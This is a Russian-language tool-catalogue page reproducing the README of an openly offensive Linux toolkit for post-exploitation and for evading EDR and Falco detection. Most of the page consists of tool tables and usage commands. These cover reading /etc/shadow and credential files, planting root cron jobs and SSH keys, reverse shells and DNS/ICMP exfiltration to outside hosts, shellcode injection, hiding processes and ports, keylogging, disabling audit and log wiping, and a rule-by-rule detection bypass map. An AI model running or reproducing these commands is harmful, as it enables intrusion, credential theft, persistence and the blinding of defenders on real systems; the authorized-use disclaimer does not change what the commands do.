Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Furtex — Инструментарий для постэксплуатации и обхода защиты для Linux. | Kitploit
Инструменты/GitHubGitHub/matheuzsecurity/furtex
Повышение привилегийЭксплуатацияПост-эксплуатацияАнализ вредоносных программТестирование на ПроникновениеКомандование и УправлениеАнализ Бинарных ФайловRed TeamingРазработка Полезной Нагрузки
GitHubmatheuzsecurity/furtex

Furtex

Инструментарий для постэксплуатации и обхода защиты для Linux.

2613029 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Furtex

Инструментарий для исследований в области пост-эксплуатации и обхода защиты для Linux, построенный на io_uring и eBPF. Без liburing, без фреймворков, везде используются сырые системные вызовы.

Скоро появятся новые инструменты. Принимаются PR. 🇧🇷

Присоединяйтесь к сообществу Rootkit Researchers

  • https://discord.gg/66N5ZQppU7

Только для авторизованных исследований и действий red team. Не запускайте это на системах, которые вам не принадлежат.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

root@kitploit:~
## Требования

**Инструментарий**

| инструмент | необходим для |
|---|---|
| `gcc` | все пользовательские бинарные файлы |
| `clang` | BPF-программы в `ebpf/*.bpf.c` |
| `make` | система сборки |

**Заголовочные файлы и библиотеки**

| пакет | необходим для |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` и соответствующие заголовочные файлы ядра |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` и прочие, используемые в программах `ebpf/` |
| `bpftool` | генерировать `vmlinux.h` с помощью `make vmlinux` внутри `ebpf/` |

В Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Версии ядра

Возможности

BTF должна быть включена в ядре (CONFIG_DEBUG_INFO_BTF=y) для выполнения make vmlinux для программ ebpf/.

На дистрибутивах со старыми заголовками libc-dev (Ubuntu 22.04 и т.д.) может потребоваться #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. В этом репозитории это уже обработано.

Сборка

edrs/ имеет собственный под-файл Makefile с примерно 75 бинарниками, разделёнными по привилегиям:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

root@kitploit:~
См. [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) для полного разбора.

## Охват обхода io_uring

SQEs io_uring проходят через очередь (workqueue) ядра. `io_uring_enter(2)` никогда не вызывает `sys_call_table`, никогда не срабатывает на точках трассировки `sys_enter_*` и никогда не попадает под livepatch для `native_sys_call`. Одно это убивает большой класс хуков EDR, не затрагивая ничего.

Что io_uring обходит самостоятельно:

| точка хука | примечание |
|---|---|
| замена указателя `sys_call_table` | io_uring никогда не проходит через таблицу системных вызовов |
| livepatch на `native_sys_call` / `compat_sys_call` | та же причина |
| точки трассировки `sys_enter_*` | путь очереди (workqueue), ни одна точка трассировки не срабатывает |

Что io_uring НЕ обходит самостоятельно (требуется активный инструмент):

| точка хука | инструмент | что делает инструмент |
|---|---|---|
| kprobes на `vfs_read`, `security_file_open` и т. д. | `ftrace_enum` | удаляет хуки kprobes |
| BPF LSM / KRSI | `bpf_link_detach` | отсоединяет BPF-ссылку |
| аудит Linux | `audit_kill` | отключает auditd через NETLINK_AUDIT |
| LD_PRELOAD / патчи PLT-GOT | `plt_unhook` | удаляет хуки пользовательского пространства |
| netfilter OUTPUT / conntrack | `af_packet_shell` | использует AF_PACKET на уровне 2, минует netfilter |
| хуки `inet_stream_connect` | `udp_shell` | использует UDP, никогда не вызывает путь tcp connect |

## io_uring/

`iouring_utils.h` обрабатывает настройку кольца без liburing.

| бинарник | что делает |
|---|---|
| `file_read` | цепочка OPENAT+READ+CLOSE через io_uring, без события sys_enter_read |
| `file_write` | цепочка OPENAT+WRITE+CLOSE |
| `file_append` | как file_write, но с O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV в одном кольце |
| `net_reverse_shell` | обратная оболочка через io_uring CONNECT |
| `multifile_read` | до 64 файлов в одном пакете SQE |
| `memfd_exec` | потоковая передача ELF через stdin в memfd, execve через /proc/self/fd |
| `proc_inject` | JIT-инъекция через /proc/PID/mem; инъекция ptrace (флаг --ptrace) |
| `pipe_splice` | SPLICE ядро-ядро, хуки пользовательского пространства никогда не видят байты |
| `inotify_bypass_watch` | io_uring READ не вызывает IN_ACCESS/IN_OPEN |
| `dns_exfil` | шестнадцатеричное кодирование данных как метки DNS-запросов через io_uring SENDMSG |
| `af_packet_send` | сырой Ethernet через AF_PACKET (IORING_OP_SOCKET, минует путь inet) |
| `xdp_socket_send` | сырой кадр через AF_XDP + кольцо UMEM, полностью минует netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

Большинство инструментов требуют CAP_BPF. env_exfil работает без привилегий. icmp_trigger требует CAP_NET_RAW вместо CAP_BPF.

sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444

root@kitploit:~
## ebpf/

Требуется clang + libbpf + vmlinux.h. Выполните `make vmlinux` внутри `ebpf/` для генерации из BTF работающего ядра.

| файл | что делает |
|---|---|
| `exec.bpf.c` | точка трассировки на sys_enter_execve |
| `fentry_open.bpf.c` | точка трассировки на sys_enter_openat |
| `creds.bpf.c` | отслеживание openat+read по путям учетных данных |
| `keylog.bpf.c` | точка трассировки событий ввода, захват сырых кодов клавиш |
| `net.bpf.c` | логирование sys_enter_connect |
| `net_hide.bpf.c` | скрытие портов из /proc/net/tcp и /proc/net/udp |
| `proc_hide.bpf.c` | скрытие PID из вывода getdents64 |
| `tty_sniff.bpf.c` | захват записи и чтения stdin/stdout/stderr |
| `skf_c2_runner.c` | ICMP C2 через классический сокетный фильтр BPF |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | XDP-триггер по магическому UDP-пакету |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01

sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>

sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337

edrs/

sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan

sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload

./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out

cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload

sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so

./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444

./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443

./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack

./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali

./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5

./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh

./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>

root@kitploit:~
## techniques/ (обход Falco)

Нацелен на набор правил Falco по умолчанию (драйвер `modern_ebpf`, 25 правил). Сначала запустите `edrs/edr_recon`.

Ось обхода A: предотвратить попадание события в Falco (io_uring пропускает `sys_enter_*`, слив ringbuf незаметно отбрасывает события).
Ось обхода B: событие достигает Falco, но условие правила не совпадает (подмена proc.name, pivot пути, альтернативные флаги).

| инструмент | ось | правила Falco |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | all |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | all |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | all |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | all 25 |```bash
./techniques/uring_ops cat   /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999

sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain  <map_id>
./techniques/ringbuf_overflow  flood  16 10

./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all

sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload

./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc  <hex>

./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc   <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen  <so>

./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"

./techniques/proc_masquerade setname    sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>

./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell

./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444

./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"

./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>

./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log

Участие

Открывайте PR. Инструменты одной цели, сырые системные вызовы, без новых зависимостей.

Правовая информация

Этот проект предназначен строго для исследований в области безопасности, авторизованного тестирования на проникновение, соревнований CTF и разработки защитных инструментов. Все продемонстрированные здесь техники документированы в публичных исследованиях безопасности и документации ядра.

Не используйте этот инструментарий против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения. Несанкционированное использование может нарушать Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), Директиву ЕС об атаках на информационные системы и аналогичные законы в вашей юрисдикции.

Авторы не несут ответственности за неправомерное использование. Используя это программное обеспечение, вы соглашаетесь, что несёте единоличную ответственность за соблюдение применимых законов.

Скачать инструмент
МинимальнаяЧто открывает
5.4основа io_uring (IORING_FEAT_SINGLE_MMAP, итерация BPF-карт)
5.6IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8разделение CAP_BPF + CAP_PERFMON (заменяет CAP_SYS_ADMIN для BPF)
5.9BPF_LINK_DETACH (bpf_link_detach)
5.19IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)
ВозможностьИнструменты, требующие её
CAP_BPF (или CAP_SYS_ADMIN до версии 5.8)все инструменты bpf/, загрузчики ebpf/
CAP_PERFMONпрограммы tracepoint и kprobe из ebpf/
CAP_NET_RAWicmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMINxdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROLaudit_kill
КомандаСборка
make allвсё
make uringтолько io_uring/
make bpfпользовательские инструменты bpf/
make ebpfпрограммы на стороне BPF (требуется clang + libbpf)
make edrsвсе бинарники edrs/
make techniquesинструменты обхода Falco
make cleanудалить все бинарники
бинарный файлописание
map_reconперечислить все загруженные BPF карты
map_dumperвыгрузить содержимое карты по ID
map_writeобновить записи карты по ID
map_poisonобнулить записи interesting_sys Falco вокруг полезной нагрузки
prog_reconперечислить BPF программы: тип, имя, количество карт
pid_allowlistвставить PID в карту разрешенных списков EDR
edr_finоценить загруженные BPF карты/программы по известным эвристикам EDR
lsm_checkобнаружить активные BPF LSM хуки и проверить, заблокирована ли запись в карты
bpf_persistзакрепить/извлечь/открепить карты и программы на bpffs
map_snapshotсохранить и восстановить содержимое карты в бинарный файл
env_exfilпрочитать /proc/*/environ для секретов
bpf_link_detachперечислить и отсоединить BPF ссылки (удаляет LSM хуки)
link_updateперенаправить BPF ссылку на no-op программу (хук остается видимым, ничего не делает)
map_freezeзаморозить BPF карту только для чтения через BPF_MAP_FREEZE (запись возвращает -EPERM)
icmp_triggerICMP бэкдор с магическим пакетом; запускает reverse shell через socketpair ретрансляцию; маскируется как kworker/u4:2
sudo ./bpf/map_recon
sudo ./bpf/map_dumper 42 --ascii
sudo ./bpf/map_write <map_id> <key_hex> <val_hex>
sudo ./bpf/prog_recon --maps --lsm-only
sudo ./bpf/edr_fin
sudo ./bpf/lsm_check <map_id>
sudo ./bpf/pid_allowlist <map_id> [pid]
sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map
sudo ./bpf/bpf_persist list /sys/fs/bpf
sudo ./bpf/map_snapshot save <prog_id> snap.bin
sudo ./bpf/map_snapshot restore snap.bin
./bpf/env_exfil --filter AWS
sudo ./bpf/bpf_link_detach list --lsm-only
sudo ./bpf/bpf_link_detach detach-lsm --dry-run
sudo ./bpf/link_update <link_id>
sudo ./bpf/map_freeze <map_id>
sudo ./bpf/map_freeze --prog <name_substr>
sudo ./bpf/icmp_trigger --daemon
sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port>
binaryroottechnique
edr_reconyes12-вендорный детектор EDR: процессы, артефакты, модули, BPF, kprobes
bpf_prog_reconyesперечисление загруженных BPF-программ, карт и kprobes
bpf_map_wipeyesочистка записей BPF-карт
bpf_detach_allyesоткрепление всех BPF-ссылок
tetragon_blindyesсканирование, заморозка, разморозка, завершение или ослепление процессов Tetragon/Falco
ftrace_enumyesперечисление и очистка хуков kprobe/ftrace
lkm_unloadyesвыгрузка модулей ядра
lkm_inline_detectyesобнаружение встроенных хуков ядра
perf_bpf_killyesперечисление и завершение BPF-программ Falco perf-event
module_reconyesперечисление модулей ядра
cgroup_freezeyesзаморозка/разморозка процесса через cgroup v2
oom_cageyesустановка oom_score_adj для себя или цели
sysctl_blindyesчтение/запись системных настроек безопасности
audit_killyesотключение/ограничение аудита Linux через NETLINK_AUDIT
inotify_exhaustyesпотребление всех inotify-наблюдений
netfilter_flushyesсброс цепочек netfilter
dmesg_wipeyesочистка кольцевого буфера ядра
ld_so_preloadyesманипуляция /etc/ld.so.preload
proc_hideyesскрытие /proc/PID через bind-mount
mount_overyesbind-mount поверх произвольных путей
log_wipeyesусечение файлов журналов и истории команд
elf_infectyesинъекция паразита из PT_NOTE в PT_LOAD
proc_mem_injectyesзапись через pwrite в /proc/PID/mem без ptrace
af_packet_shellyesсырой Ethernet C2 в обход netfilter OUTPUT
icmp_tunnelyesэкзфильтрация через полезную нагрузку ICMP echo-request
event_floodyesзатопление событиями вокруг полезной нагрузки для насыщения монитора
livepatch_bypassyesio_uring в обход хуков livepatch на диспетчере системных вызовов
livepatch_stack_blindyesотключение стека livepatch + BPF kprobe + netfilter; выгрузка модуля через подмену имени процесса
lsm_authlink_blindyesотключение потоков LSM auth-link, заморозка или завершение агента аутентификации, запись через подмену inode
lsm_callback_bypassyesобход колбэков LSM через pidfd_getfd, process_vm_writev, прикрепление perf+BPF, новое сетевое пространство
bpf_fim_blindyesзаморозка сенсора BPF FIM, очистка записей кольцевого буфера, затопление кольцевого буфера
syscall_dispatch_bypassyesоперации ввода/вывода и сети через io_uring в обход kprobes на диспетчере системных вызовов и livepatch do_syscall_64
bpf_kprobe_bypassyesоперации с файлами, сетью и exec через io_uring в обход целей kprobe _x64_sys*
ptrace_inject_soyesзагрузка .so в работающий процесс через ptrace + dlopen
uring_stealthnoоперации с файлами/сетью через io_uring, без событий sys_enter_*
openat2_bypassnoальтернативные системные вызовы (openat2, copy_file_range)
ptrace_selfguardnoблокировка внешнего ptrace через процесс-хранитель
plt_unhooknoобнаружение и обход хуков PLT-GOT через dlmopen
fexecve_dropnoELF в memfd, execve через /proc/self/fd
memfd_loadernoзагрузка .so через memfd, вызов конструктора
memfd_userexecnoELF из stdin в memfd, execve через /proc/self/fd
hollow_procnoзамена образа процесса с подставным именем в ps
argv_spoofnoпереименование comm через prctl(PR_SET_NAME) и перезапись argv[0]
clone_netnsnoвыполнение в непривилегированном сетевом пространстве
ns_execnoразделение пространств пользователя/PID/монтирования
splice_c2noTCP C2 с использованием splice(2) для передачи данных; хуки send/recv никогда не срабатывают
abstract_sock_c2noC2 через абстрактный Unix-сокет
udp_shellnoUDP обратная оболочка, обходит inet_stream_connect
tls_shellnoобратная оболочка за поддельным TLS ClientHello
dns_exfil_rawnoшестнадцатеричное кодирование данных в метки DNS-запросов
pidfd_stealnoкража открытых файловых дескрипторов из других процессов через pidfd_getfd
vma_hidenoцикл RWX->PROT_NONE, MADV_DONTDUMP, переименование VMA
coredump_blocknoблокировка дампов ядра через фильтр/dumpable/rlimit
seccomp_notifynoперехват системных вызовов через SECCOMP_USER_NOTIF
ipc_covertnoC2 через POSIX mqueue
shared_mem_c2noC2 через POSIX shm, без сетевого трафика
pipe_exfilnoэкзфильтрация через splice(2), обход хуков LD_PRELOAD
proc_fd_scannoсканирование симлинков /proc/PID/fd на предмет чувствительных путей
proc_vm_injectnoprocess_vm_writev, без открытия /proc/PID/fd
self_deletenoудаление собственного бинарника с диска во время работы
time_stompnoклонирование/обнуление/установка atime+mtime
userland_persistnobashrc/crontab/autostart/authorized_keys
env_scrapenoчтение /proc/*/environ для секретов и SSH-сокетов
anon_shellcodenoшеллкод в MAP_ANONYMOUS, без файла, без execve
ld_preload_injectnoсброс .so, инъекция через LD_PRELOAD
ssh_agent_hijacknoобщение по протоколу агента с захваченным сокетом
fanotify_bypassnomemfd/anon-mmap/devshm для обхода отметок fanotify
ringbuf_floodnoнасыщение кольцевого буфера BPF для сброса событий
log_evasionnoоперации с файлами через io_uring и сырой системный вызов TCP shell, без обёрток libc
syscalltable_bypassnoio_uring в обход хуков указателя sys_call_table
uring_recon_unprivnoучётные данные, ключи, соединения через io_uring read
fd_steal_readnoкража файловых дескрипторов через pidfd_getfd, чтение без собственного open()
mmap_readnoчтение файлов через mmap, без системного вызова read()
scm_rights_exfilnoпередача файлового дескриптора через SCM_RIGHTS, чтение без собственного open()
splice_readnoчтение через splice(2), без буфера пользовательского пространства
sudo ./edrs/edr_recon
sudo ./edrs/edr_recon procs arts mods
sudo ./edrs/edr_recon progs maps
ПравилоОбходИнструмент
1 Чтение отслеживаемого файла через обход каталоговio_uring OPENATuring_ops cat, per_rule_bypass dir-traversal
3 Чтение конфиденциального файла недоверенным процессомio_uring или prctluring_ops creds, bypass_file_rules read-masked
4 Запуск шелла недоверенным процессомpython3/perl вместо shrule_evade unusual-shell
6 Терминальный шелл в контейнереsetsid, proc.tty=0bypass_proc_rules shell-notty
7 Связь с K8S API Serverio_uring CONNECTuring_ops shell, per_rule_bypass k8s-connect
8 Netcat RCEC binary, proc.name != nc/ncatbypass_proc_rules reverse-shell
9 Поиск приватных ключейopen+read на C, без grep/findbypass_file_rules grep-bypass
10 Очистка логов действийftruncate без O_TRUNCbypass_file_rules log-clear
11 Удаление массовых данныхцикл write, без shred/mkfsbypass_file_rules wipe
15 Перенаправление STDOUT/STDIN в сетьfcntl F_DUPFD вместо dup2bypass_proc_rules reverse-shell
18 Обнаружение побега через release_agentio_uring OPENAT+WRITE в release_agentcgroup_escape proof/shell, uring_ops write
19 PTRACE, присоединённый к процессу/proc/PID/mem или process_vm_writevbypass_proc_rules proc-inject
20 PTRACE, попытка антиотладкиПроверка TracerPid через /proc/self/statusbypass_proc_rules anti-debug
22 Выполнение из /dev/shmвыполнение из /run/user/uid/ вместоbypass_proc_rules run-safe
25 Безфайловое выполнение через memfd_createshellcode через mmap, без execveexe_from_memfd_bypass sc, proc_ghost ghost-sc
всеочистка ringbuf или удаление scap.koringbuf_overflow, kmod_unload